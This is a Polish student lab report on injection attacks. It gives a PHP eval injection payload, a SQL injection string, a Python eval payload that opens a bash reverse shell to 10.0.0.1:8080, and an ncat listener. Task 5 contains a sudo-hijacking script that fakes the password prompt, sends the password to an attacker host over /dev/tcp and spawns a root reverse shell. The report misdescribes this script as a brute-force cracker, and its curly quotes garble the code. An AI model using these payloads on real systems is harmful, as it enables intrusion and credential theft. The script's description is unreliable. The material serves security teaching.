Bezpieczeństwo oprogramowania - lab 9

Zadanie 1

Kod podatnego programu

```
<?php eval ("echo ".$_REQUEST["parameter"].";"); ?>
```

Funkcja `eval()` zapewnia prosty i wygodny sposób wykonywania kodu PHP podanego w stringu. To umożliwia łatwą modyfikację przekazanego parametru, w wyniku czego np do adresu URL

```
http://vulnerable-site.com/?parameter=value
```

można dopisać funkcję PHP, np.

```
http://vulnerable-site.com/?parameter=value;system('ls -l');
```

co po wywołaniu endpointu wywoła funkcję `system()`, która w tym przypadku zwróci listę katalogów na maszynie docelowej.

Zadanie 2

Kod podatnego programu

```
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
```

Kod łączy string zawierający kod SQL ze stringiem zawierającym parametr filtrowania. Można przekazać inny parametr np.

```
"105 OR 1=1"
```

który zmieni warunek filtrowania, w wyniku czego kod zwróci listę wszystkich użytkowników w systemie.

Zadanie 3

Kod podatnego programu

```
```

```
def addition(a, b):
  return eval("%s + %s" % (a, b))result = addition(request.json['a'],
request.json['b'])
print("The result is %d." % result)
```

Podobnie jak w przypadku PHP, code injection polega na wykorzystaniu kodu przekazanego do funkcji `eval()`. Do funkcji można przekazać kod, np.

```
{"a":"__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')#",
"b":"2"}
```

co wywoła metodę `os.system()`, która wywoła konsolę basha i zwróci ją do maszyny z ip 10.0.0.1 na porcie 8080.

Zadanie 4

Kod podatnego programu

```
<script>
function verbose () { alert("Hello World!"); }
</script>

<input type="button" value="Test" onclick="verbose()"/>
```

Można dostać się do zdarzeń wykonywanych na obiekcie `button` poprzez zbadanie elementów strony internetowej zawierającej kod. Obiekt `button` posiada zdarzenie `onClick` wywołujące metodę `verbose()`. Można podmienić metodę `verbose()` na inną utworzonę przez siebie metodę w konsoli debuggera, która wywołuje złośliwy kod JS.

Zadanie 5

W momencie, gdy atakujący dostanie się do konsoli ofiary np. za pomocą kodu użytego w zadaniu 3, może wykonać polecenie

```
ncat -vvlp 8080 --keep-open
```

aby utrzymać połączenie z konsolą. Po tym atakujący może uruchamiać skrypty basha wykonujące różne złośliwe akcje.
Kod złośliwego skryptu

```
```

```
intercept_sudo() {
    E=echo
    S=sudo
    K=„/dev/tcp/*yourip*/*yourport*”
    H=„/dev/null”
    F=()
    for((C=0;C<3;C++)); do
        read -rsp”[$S] password for `id -nu`: „ P
        $E;$S -S true <<<„$P” &>$H
        if (($?==0)); then
            $E „${P@Q}”>$K;unalias $S
            $E „$1: an unknown error occured”
            break
        fi
        sleep 0.5
        if ((C<2)); then
            $E Sorry, try again.
        else
            $E „$S: 3 incorrect password attempts”
        fi
    done
    ($S -S su -c „exec 134<>$K;bash <&134 >&134 2>&1 &” root &>$H <<<„$P”)
}
alias sudo=„intercept_sudo”
```

który próbuje złamać hasło do sudo metodą brute-force.